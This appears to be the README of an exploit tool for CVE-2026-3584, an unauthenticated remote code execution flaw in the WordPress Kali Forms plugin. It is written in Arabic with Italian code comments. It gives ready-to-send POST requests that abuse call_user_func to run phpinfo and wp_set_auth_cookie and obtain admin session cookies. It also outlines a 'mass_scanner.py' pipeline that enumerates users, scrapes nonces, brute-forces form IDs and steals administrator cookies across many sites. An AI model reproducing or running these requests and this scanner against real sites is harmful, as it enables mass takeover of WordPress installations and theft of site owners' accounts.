
CVE-2026-3584
🔥 ملخص الثغرة
إضافة ووردبريس Kali Forms الإصدارات <= 2.4.9 تحتوي على ثغرة حرجة في تنفيذ رمز عن بُعد غير مصادَّق (RCE). تسمح هذه الثغرة لـ المهاجمين غير المصادَقين بتنفيذ كود PHP عشوائي على الخادم والحصول على امتيازات مدير كاملة عبر نقطة نهاية AJAX kaliforms_form_process المكشوفة علنًا دون ضوابط تفويض.
تقع الثغرة في الدالة form_process التي تقبل معاملات يتحكم فيها المستخدم (بما في ذلك thisPermalink و entryCounter)، وتنفذ استدعاءات PHP عشوائية، مما يؤدي إلى:
phpinfo() و system() و eval() وغيرهاwp_set_auth_cookie() للحصول على جلسات إداريةتظهر الثغرة في الدالة form_process الخاصة بإضافة Kali Forms التي تتعامل مع طلبات AJAX. الكود المستضعف مُكشوف عبر:
// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
مسار الاستغلال:
نقطة نهاية غير محمية: نقطة النهاية /wp-admin/admin-ajax.php?action=kaliforms_form_process متاحة للمستخدمين غير المصادَقين عبر الخطاف wp_ajax_nopriv_.
معاملات يتحكم فيها المستخدم:
data[thisPermalink] - يمكن أن يحتوي على اسم دالة PHP عشوائيةdata[entryCounter] - يمكن أن يحتوي على اسم دالة PHP عشوائيةdata[formId] - معرف النموذج المراد معالجتهتنفيذ استدعاءات غير مفلترة: الكود المستضعف ينفذ استدعاءات PHP دون تحقق:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // Nessun controllo!
سلسلة الاستغلال:
Attacker → POST Request → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP Code Execution → phpinfo() eseguito
↓
entryCounter=wp_set_auth_cookie → Cookie amministratore generato
↓
Full Admin Access
مثال على طلب استغلال الثغرة:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
النتيجة: ينفذ الخادم phpinfo() ويعيد معلومات كاملة حول إعدادات PHP.
لتصعيد الامتيازات:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
النتيجة: ينفذ ووردبريس wp_set_auth_cookie(user_id) حيث يتوافق user_id غالبًا مع formId، مما يولّد ملفات تعريف ارتباط جلسة إدارية صالحة.
تنفّذ mass_scanner.py خط أنابيب آليًا من 4 مراحل للاستغلال الكامل لثغرة CVE-2026-3584:
┌─────────────────────────────────────────────────────────────────â”
│ MASS SCANNER PIPELINE │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Fase 1: Ricognizione API REST │
│ ├─ Enumera utenti: /wp-json/wp/v2/users │
│ └─ Enumera post: /wp-json/wp/v2/posts │
│ → Identifica user_id e post_id per escalation │
│ │
│ Fase 2: Scoperta Moduli │
│ ├─ Crawl sito (depth=2) │
│ ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms' │
│ ├─ Estrae nonce da JavaScript │
│ └─ Estrae formId da HTML │
│ → Trova tutti i moduli Kali Forms vulnerabili │
│ │
│ Fase 3: Test RCE │
│ ├─ Invia: data[thisPermalink]=phpinfo │
│ ├─ Verifica: 'PHP Version' in response │
│ └─ Salva: result/target_phpinfo.html │
│ → Conferma esecuzione codice remoto │
│ │
│ Fase 4: Escalation Privilegi │
│ ├─ Invia: data[entryCounter]=wp_set_auth_cookie │
│ ├─ Estrae: wordpress_logged_in + wordpress_sec cookies │
│ ├─ Verifica: Accesso a /wp-admin/ senza redirect │
│ └─ Salva: result_cookie/target.txt │
│ → Ottiene accesso amministratore completo │
│ │
└─────────────────────────────────────────────────────────────────┘
1. تسوية URL تلقائيًا
def normalize_url(self, target):
# Aggiunge automaticamente http:// o https://
# Prova prima HTTPS, poi fallback su HTTP
# Gestisce porte personalizzate (es. :8080)
2. تعداد REST API
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# Estrae tutti gli user_id disponibili
# Usato per mappare formId → user_id
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# Estrae tutti i post_id disponibili
# Identifica sovrapposizioni user_id/post_id
3. اكتشاف النماذج (زحف ذكي)
def discover_pages(self, target, max_depth=2):
# Crawl ricorsivo del sito
# Cerca pattern JavaScript: 'KaliFormsObject'
# Filtra URL non necessari (js, css, immagini)
# Segue solo link interni
# Ritorna lista pagine con Kali Forms
4. استخراج بيانات النموذج
def extract_form_data(self, page_url):
# Estrae nonce da JavaScript:
# KaliFormsObject = { ajax_nonce: "abc123" }
# Estrae formId da HTML:
# data-id="1" o [kaliform id="1"]
# Se nonce trovato ma no formId:
# Brute force ID 1-10
5. اختبار RCE
def test_rce(self, target, form_id, nonce):
# POST /wp-admin/admin-ajax.php
# Payload: data[thisPermalink]=phpinfo
# Verifica: len(response) > 10000 e 'PHP Version' presente
# Salva HTML completo per analisi
6. اختبار تصعيد الامتيازات
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
# Strategia intelligente:
# 1. Cerca sovrapposizioni user_id/post_id
# 2. Testa prima ID con alta probabilità successo
# 3. Fallback su ID comuni: 1,2,3,4,5
# Per ogni formId candidato:
# POST data[entryCounter]=wp_set_auth_cookie
# Estrae cookie: wordpress_logged_in + wordpress_sec
# Verifica: GET /wp-admin/ → no redirect
# Controlla: 'dashboard' in response